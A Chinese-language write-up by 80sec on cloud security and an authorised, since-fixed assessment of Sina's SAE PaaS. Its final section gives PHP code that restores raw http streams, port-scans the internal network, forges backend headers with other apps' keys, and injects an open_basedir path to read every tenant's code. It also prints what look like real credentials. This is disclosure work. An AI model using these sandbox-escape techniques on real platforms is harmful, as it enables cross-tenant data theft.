從對SAE的一次授權安全評估淺談雲安全

標籤：

  

EMail: jianxin#80sec.com
Site:http://www.80sec.com
Date:2011-12-20
From:http://www.80sec.com/

[ 目錄 ]
一背景及描述
二什麼是雲
三什麼是雲安全
四如何對雲進行安全設計
五對SAE的一次授權安全評估檢測

一背景及簡述

由於國外的伺服器訪問較慢並且經常性的出現無法訪問的情況，我們較早就與SAE合作將WooYun項目遷移至了較為穩定的SAE平台，後來與新浪SAE在安全方面也建立了合作關係，其中就包括此次安全評估測試。另外一方面，目前業界對雲安全的討論更多的都是在理論方面，很多的專家學者乃至安全研究人員和駭客都在討論雲安全，卻很少有對實際的生產環境的雲進行評估分析甚至入侵的案例，80sec也一直對雲安全有自己的想法，但是缺乏實際的案例所以一直也沒有相關的文檔產出，我們在SAE對這些安全問題修複之後，經過SAE方面允許將此次對一個典型的paas雲的評估過程公開，順便提一些我們80sec在雲安全方面的一些粗淺的想法，相關的一些詳細安全問題也會被同步提交到烏雲-漏洞報告平台上，說安全不如做安全：）

二什麼是雲

我們理解的雲是一種新的資源使用方式，包括儲存，資料，計算，網路……等等，這種資源相比傳統的資源來講，更接近一種基礎能源，需要多少就用多少，類似於基礎設施裡的水和電的這種彈性，按照用多少進行付費，到目前為止，我們都很難對雲有一個精確的定義，我們站在安全的角度只能粗淺的將雲分為：

私人雲端：為企業內部商務服務的，具有無限計算能力和無限儲存能力的雲端服務；
公用雲端：為外部使用者提供服務的，在計算能力和儲存能力不限的基礎上，可能會與公司核心資源一起以saas的形式提供給外部使用者服務的雲；

同樣，按照雲實際的表現形式和作用又可以分為iaas，paas，saas，不同類型的雲是資源本質上的不同，下一層為上一層服務，iaas提供網路和系統層面上的資源細粒度劃分，paas依賴於iaas可以做到將儲存，計算，資料等資源開放給第三方開發人員，而藉助paas提供的平台，可以在之上實現各種各樣的軟體層面的saas結合公司核心資源以給使用者提供服務；

三什麼是雲安全

安全永遠是對資料而言，安全的本質是資料的安全，包括可用，保密和不可篡改，安全上的一個挑戰是雲安全本質上改變了資料的處理方式，從傳統的資料擁有者對安全負責變成資料處理者和資料擁有者同時對安全負責。
雲安全帶來的另外一個挑戰是一個矛盾，對於使用者而言如果我要使用雲，因為我可能會將敏感性資料傳到雲上，我要先確保雲是安全的，而如果我是一個雲的建設者，我要對雲安全負責，我得首先確認雲裡的資料處理和協作方式，而在資料規模和具體應用還不成熟的情況下，做到這一點會有難度，我無法保護一個威脅模型都不成熟的系統，所以目前一方面出現一個雲安全先於雲端運算發展的局面，但是同時雲安全因為雲端運算業務發展不夠導致會處於一個理論和策略層面的情況；
不同的雲，因為實際的營運目標和蘊含的資料不同，會有不同的安全威脅從而會有不同的雲安全，譬如paas所需要考慮的東西和一個iaas需要考慮的安全會是完全不同的，同樣私人雲端的安全目標和公用雲端的安全目標也會完全不同，依然是很久之前80sec提到的，不理解內容相關的安全是沒有意義的；

四如何對雲進行安全設計

我相信任何一個事物的安全性會由如下方面造成，它本身蘊含的價值，這種價值所吸引帶來的風險，是否有考慮到這種風險的防護及實際的解決方案，解決方案是否得到正確的實現，正確實現解決方案後是否形成有效體系進行管理和營運，任何一個環節的缺失都會帶來不安全性；
對於雲，我們相信沒有統一的雲安全，所以只能選擇一個目前較為典型的例子paas來談我們對雲安全設計的淺顯看法，我們將考慮如下幾個維度：

a)資產價值：我們需要瞭解到該業務核心的價值所在，不同價值的資料會導致不同的安全威脅，譬如對於paas來講，我們就很不贊成將私服（你懂的），銀行等系統運行於paas之上，它不適合你，而且高價值的資產引入將提高雲的風險；

b)安全風險：特定的資產會遭受不同的安全風險，一個涉及國家機密的網站所可能承受的安全風險和一個個人Blog必定是完全不同的，分析我們所可能承受的風險，譬如拒絕服務，使用者資料被非法訪問，對內部網路的滲透等等；

c)威脅建模：根據云可能承受的風險以及會造成這些風險的途徑，重點在於分析系統的體繫結構，安全域以及各安全域的邊界，並且建立威脅模型譬如在paas雲平台和internet的邊界方面需要考慮的包括外網的網路攻擊，惡意掃描等，對於使用者資料和平台資料邊界間應該考慮惡意代碼對平台資料，甚至因為paas多使用者的特殊性，應該考慮使用者資料間邊界的威脅；在這之外還要考慮平台對內部資料中心的影響；

d)安全性原則：基於上述的威脅建模，我們可以針對各種威脅進行必要的安全性原則以杜絕和弱化風險，譬如要求在paas雲邊界上部署防火牆，在平台和內部網路之間部署入侵檢測及監控系統；對於平台和使用者以及使用者與使用者之間要求做到安全隔離等等；

e)技術控制：對於策略如何能夠具體的落實到執行，是一件較難的事情，同時也是最重要的一部分工作，大多數的企業也最缺少對這塊的技術評估，沒有足夠的技術支撐，安全性原則也只是一紙空文；這部分基本應該包括安全基準，存取控制，異常監控

可以看到，我們的安全設計是以資料和風險驅動的安全設計，以新浪雲SAE為例，我們可以將涉及的資料按照屬性和安全等級分為若干安全區域，各安全區域內實現相應等級的安全控制，地區間的訪問行為需要受到嚴格的監控和審計：

a)新浪內部資料（位於新浪IDC內部，未授權對新浪內部收據的訪問將導致危害）
b)SAE平台資料（平台支撐整個使用者資料的安全，安全等級較高）
c)SAE使用者資料（可以再細化為使用者資料A，使用者資料B）

這幾個地區的屬性完全不同，對於訪問需要做不同存取控制，對於內部資料，應該是和平台本身進行完全隔離，這部分可以通過劃分獨立的網路來進行控制，理論上我們信任內部網路，但是如果平台足夠重要我們可以一樣將其來自內部的訪問和請求進行隔離；對於平台資料和使用者之間應該是完全隔離，這部分是基於主機和一些後台服務的，所以可以通過網路和主機上的沙箱進行控制；對於使用者之間的資料，因為安全性一樣需要隔離，這部分需要在應用程式層實現一套隔離機制；對於平台和外網之間的隔離，我們需要嚴格防禦譬如拒絕服務ddos以及一些常見的應用漏洞；
這幾個部分如果沒有做好，就會導致安全問題，我們無論是實現還是評估都是從這幾個部分來考慮；

五對SAE的一次授權安全評估檢測

我們的網站一直搭建在SAE平台上，無論是速度，穩定以及工作人員對問題的態度上都非常的不錯，SAE之前和烏雲有意展開一些合作包括對SAE的安全評估和檢測，SAE安全防護很到位，對我們發現的問題都有過積極的反饋和修複，在得到SAE的允許之後這裡我們將我們發現的問題做一些分享，相信對其他類似於paas的平台會有協助

1know it，瞭解我們的測試目標

按照我們對新浪雲的粗略分析，資料會分為新浪內部資料，SAE平台資料和SAE使用者資料，其中新浪內部資料主要是指IDC內部其他業務資料，平台資料包括平台的管理及營運以及相關的業務資料，使用者資料主要是指使用者上傳至SAE的包括代碼，資料庫，儲存等資料。按照我們的安全目標，這些資料之間應該相互隔離，不應該互相影響，不會被非法訪問；
新浪對雲的保護基本也分為幾個方面，一方面是外部的防火牆實現sae與網際網路的控制邊界，在內部同樣是使用了合適的ACL對內部資料進行了防護，我們非常關心的另外一方面也是paas所專屬的一方面就是使用者資料間的隔離和使用者資料與雲平台的隔離，這部分是最為複雜也是最為靈活的；SAE對使用者資料間的隔離主要是不同使用者間通過使用者名稱和密碼實現隔離，不同的應用之間通過access_key和secert_key來進行隔離，訪問後端的資料庫和儲存等應用都必須提供access_key以及secert_key來進行；對於使用者資料和平台之間的隔離主要包括所有資源的使用必須通過sae提供的介面進行，原生態的檔案讀寫，網路請求都被禁止，而對於代碼執行層，sae通過disable_function和open_basedir類比了一個沙箱環境，以實現在執行態的沙箱保證使用者無法對他資源之外的資料進行訪問；
我們看到sae在這一塊做的努力，我們也嘗試對他進行了突破；

2看看我們可以獲得的資源

由於我們能夠真正與sae及sae後端所蘊藏的豐富其他使用者資源進行互動的，唯一的方式就是執行我們自己的代碼，所以我們代碼所處的環境和實際的限制對我們來說很重要，我們通過如下代碼對系統進行了判斷：


<?php

$exts=get_loaded_extensions();
$disables=ini_get("disable_functions");
$disables=explode(",",$disables);

$alls=get_defined_functions();

$myfun=$alls[‘user‘];

for($i=0;$i<count($alls[‘internal‘]);$i++){
if(!in_array($alls[‘internal‘][$i],$disables)){
$myfun[]=$alls[‘internal‘][$i];
}
}

var_dump($myfun);

?>

這是所有我們代碼可執行檔範圍，也就是我們所有可能進行的互動，可以看到基本已經知道的可以突破沙箱的函數和方法都做了限制；

3分析我們的環境

同時我們可以看到sae提供了phpinfo函數支援，那麼我們通過phpinfo就可以簡單判斷當前的環境了，我們需要關心如下選項：


Registered PHP Streams
apache2handler
Apache Environment

open_basedir
disable_functions

auto_prepend_file


這樣我們大概瞭解了我們代碼所處的運行環境，同時根據auto_prepend_file的提示我們知道在應用程式層sae做的一些事情，這裡隱藏了太多的秘密包括後端服務的工作方式和sae製造的沙箱裡可能有的一些空隙，畢竟這是跟我們的代碼同一層所做的安全控制，而不是更底層，主要的包括網路請求的封裝，後端資源訪問的封裝，而那個access_key和secert_key正是在這裡起的作用；

4攻擊方式

我們的代碼運行於一個open_basedir和disable_function環境中，這兩個選項，正常情況下將我們的代碼同檔案系統以及作業系統隔離開來，使得我們處於一個受限的環境，同時由於在php這一層sae的代碼優於我們的代碼執行，所以在php代碼層同樣實現了一個沙箱，在這個沙箱內，我們與其他的任何資源的互動都會受到限制，譬如http請求和socks請求，而正常允許的串連譬如mysql，通過我們的測試，我們發現由於修改了底層的mysql代碼，在sae代碼執行環境裡我們無法串連屬於我們固有許可權之外的任何資料，但是可以看到由於sae選擇在應用程式層而不是更底層進行的沙箱，所以我們只要我們有可能選擇到一些沙箱沒有控制到的地方就可能繞過，同時如果沙箱本身實現得不好的話也可能導致產生問題。
先來看看沙箱是否可能漏洞的地方，我們可以簡單的對允許使用的php函數進行一次遍曆，發現了這麼一個函數mb_send_mail並沒有被禁用，80sec曾經提到要將mail函數禁用因為這將是php和底層系統進行互動的一個介面，而mb_send_mail同樣只是對mail函數的一個封裝，我們簡單的測試之後證明的確可以利用該函數對底層系統進行讀寫，但是由於網路的一些原因我們得到了一個500錯誤，我們所需要的結果並沒有如實的反饋給我們，但經過sae證實，該問題的確存在
另外，我們也觀察到，sae支援的流非常多，但是真正被封裝起來的其實只有一個http協議，封裝的目的是對使用者產生的請求能夠進行控制，譬如限制訪問的目的地址和對請求數量等做更精粒度的控制，而對於原生的譬如ftp協議並沒有進行限制，這個時候其實我們可以利用這個做一個簡單的內網連接埠掃描器：


echo(file_get_contents(‘ftp://127.0.0.1:22/111‘));


由於sae對錯誤的處理偏向開發人員太過有好，導致通過捕獲錯誤，我們可以看到是否是網路不可達，連接埠未開放還是協議不匹配，這樣我們甚至可以探測出sae與內部網路的隔離程度
ftp協議畢竟不是特別友好，而對於已經封裝的http協議我們發現stream_wrapper_unregister和stream_wrapper_restore並沒有禁用，於是通過這兩個函數我們可以恢複原生的http請求，向所有我們想發起的地方發起http請求了：


if ( in_array( "http", stream_get_wrappers() ) ) {
stream_wrapper_unregister("http");
}

stream_wrapper_restore("http"));


這隻是對網路請求沙箱的一些突破，在實際的使用者資料層，我們發現在後端使用者是共用一些基本的服務的，譬如memcache，譬如mysql等，後端通過使用者傳遞的access_key以及secert_key來識別使用者，我們做了個很有意思的實驗：


define( ‘SAE_ACCESSKEY‘, ‘m0lm3wyxjyo‘ );
define( ‘SAE_SECRETKEY‘, ‘5d2dmz1xwyihjd2m3xzximw5wj30jix0djxl1c5i0iz5‘ );
define( ‘SAE_MYSQL_HOST_M‘, ‘w.rdc.sae.sina.com.cn‘ );
define( ‘SAE_MYSQL_HOST_S‘, ‘r.rdc.sae.sina.com.cn‘ );
define( ‘SAE_MYSQL_PORT‘, 3307 );
define( ‘SAE_MYSQL_USER‘, SAE_ACCESSKEY );
define( ‘SAE_MYSQL_PASS‘, SAE_SECRETKEY );
define( ‘SAE_MYSQL_DB‘, ‘app_‘ . ‘wscan‘ );

var_dump(mysql_connect(‘r.rdc.sae.sina.com.cn:3307‘,‘m0lm3wyxjyo‘,‘5d2m1d0wfffyihj2m3xximw5wj30jix0jxlxl05i0iz5‘));


這個會提示

SAE_Warning: mysql_connect() [function.mysql-connect]: this app is not authorised in eval.php

似乎是底層的Mysql對連線應用程式做了限制，不允許跨應用去串連資料庫，但是我們知道除了在應用代碼環境裡可以去串連資料庫，在SAE提供的面板裡也是可以去進行資料庫連接的，在控制台裡的實現即是通過access_key和secret_key在後台進行的串連，我們只要替換為我們獲得的其他應用的相應key即可串連成功，這個沙箱似乎太簡單了，還是沒有做到應用只能訪問到自己的資料這個原則，那麼我們如何獲得別人的access_key和secret_key呢，看看那個auto_prepend_file檔案，這兩個值是從HTTP請求裡傳遞的，並且由於實現上的原因，這個內容在phpinfo裡是直接可以看到的，上百度搜尋一下sae，phpinfo吧……
到這裡似乎我們可以瞭解到sae的一些機制和機制上的問題，但是都是使用者之間的，我們很好奇為什麼sae需要在http頭裡傳遞access_key和secert_key，這似乎比較難理解，在分析了sae的實現機制之後我們大概可以做如下理解，在前端接收到請求之後，會對請求做一些邏輯判斷，譬如是否是有效應用，應用資源是否超標等等，在做完有效性驗證之後請求被轉寄到後端的執行層，執行環境所需要的一些資料譬如access_key和secert_key就是從這裡傳遞到執行環境的，這裡的好處是執行環境只負責執行，不用驗證請求的合法性，任何應用的更改譬如禁用啟用，增加刪除不會影響到後端執行環境，但是這裡就會有明顯的問題，如果請求的合法性只在前端驗證那麼如果我們可以直接將請求轉寄到後端是可能影響到後端邏輯的正確性的，注意phpinfo裡如下的資訊：


DOCUMENT_ROOT/data1/www/htdocs
SERVER_ADMIN[email protected]
SCRIPT_FILENAME/data1/www/htdocs/549/wscan/1/phpinfo.php


我們請求的是phpinfo.php，document_root是在/data1/www/htdocs，理論是上是無法映射到/data1/www/htdocs/549/wscan/1/phpinfo.php的，而且從這個路徑我們推測，所有應用的執行代碼都是處於/data1/www/htdocs/下面，所有的執行代碼都是相同的使用者身份啟動並執行，因為一些原因sae並沒有在設計上將所有使用者的可執行代碼做到隔離，隔離只是在執行層利用動態映射和動態限制來做的，這個機制是否存在問題呢，看如下精彩的代碼：


if ( in_array( "http", stream_get_wrappers() ) ) {
stream_wrapper_unregister("http");
}

stream_wrapper_restore("http");

$opt = array(
‘http‘ => array(
‘header‘ => "Host: wooyun.sinaapp.comrnX-Forwarded-For: 61.135.165.180, 61.135.165.180rnAppName: webmanagernAccessKey: ynz0jyo1k1rnSecretKey: 1zhwzm5l4yilzyj54xiim5ddywwzzzz342l5lk5rnAppHash: 928rnMysqlPort: 3307rnAppCookie: default_version=1;xhprof=;debug=1;rnConnection: closernCookie: saeut=220.181.50.244.1321955938519836rnAppVersion: 1",
‘protocol_version‘ => ‘1.1‘
)
);
stream_context_set_default($opt);
$d = stream_context_get_default();
var_dump(file_get_contents("http://10.67.15.23/phpinfo.php"));


我們利用之前突破http封裝的方式實現了一個原生態的http請求，請求直接發往後端的可執行層代碼，我們故意使用了別人的appname和apphash去請求一個phpinfo，結果發現正如我們的猜測，所有請求和請求的限制都是動態產生的，產生的原則就是基於appname和apphash等，譬如：


SCRIPT_FILENAME/data1/www/htdocs/549/wscan/1/phpinfo.php


就是基於請求的apphash和appname與DOCUMENT_ROOT一起決定請求的路徑，從這種角度來講，所有使用者的資源更像是同一個網站下面的不同頁面，理論上是可以獲得其他使用者資源的，我們嘗試繼續突破。既然請求路徑是動態產生的，我們有理由相信open_basedir也是動態產生的，既然是動態產生的我們就可以進行一次史無前例的注射：

open_basedir格式為：/dir/1:/dir/2

如果我們能產生一段open_basedir為/dir/1:/:/dir/2就可以突破對檔案系統的沙箱了，同時這個請求還必須合法，因為我們請求的檔案資源會和這個路徑保持一致，我們可以建立一個名字為/:/:/的目錄，結合../對目錄進行遍曆，我們是可以同時滿足open_basedir和SCRIPT_FILENAME的要求的，最後讓我們構造一個如下的請求：


if ( in_array( "http", stream_get_wrappers() ) ) {
stream_wrapper_unregister("http");
}

stream_wrapper_restore("http");

$opt = array(
‘http‘ => array(
‘header‘ => "Host: wooyun.sinaapp.comrnX-Forwarded-For: 61.135.165.180, 61.135.165.180rnAppName: webmanage/1/:/:/../../../rnAccessKey: ynztttt1k1rnSecretKey: 1zhwzm5l4yzzzzyj54xiim5ddywwzill342l5lk5rnAppHash: 928rnMysqlPort: 3307rnAppCookie: default_version=1;xhprof=;debug=1;rnConnection: closernCookie: saeut=220.181.50.244.1321955938519836rnAppVersion: 1",
‘protocol_version‘ => ‘1.1‘
)
);
stream_context_set_default($opt);
$d = stream_context_get_default();
var_dump(file_get_contents("http://10.67.15.23/phpinfo.php"));


注意AppName: webmanage/1/:/:/../../../，這個時候webmanage下得所有請求都將是繞過了open_basedir的限制的，我們順利的訪問到了所有使用者的代碼資源，包括SAE平台執行環境的資源；
我們在獲得了資料許可權之後嘗試對sae的系統內容進行了突破，也發現了一些問題，但是沒有得到實質的突破，將來有機會會再次分享：）

5總結

SAE在設計的時候就考慮了安全性，並且防護非常嚴密，在易用性和安全性中實現了一個優雅的平衡，但是我們也可以看到對於paas的設計來講，由於需要允許使用者的代碼盡量友好高效的運行，所以很容易在一些安全性原則實現的細節當中出現一些問題，作為paas應用內容相關的特殊性，其他的paas廠商在實現和設計的時候更應該嚴格注意這些安全問題，避免給平台和使用者造成安全損失。

 

從對SAE的一次授權安全評估淺談雲安全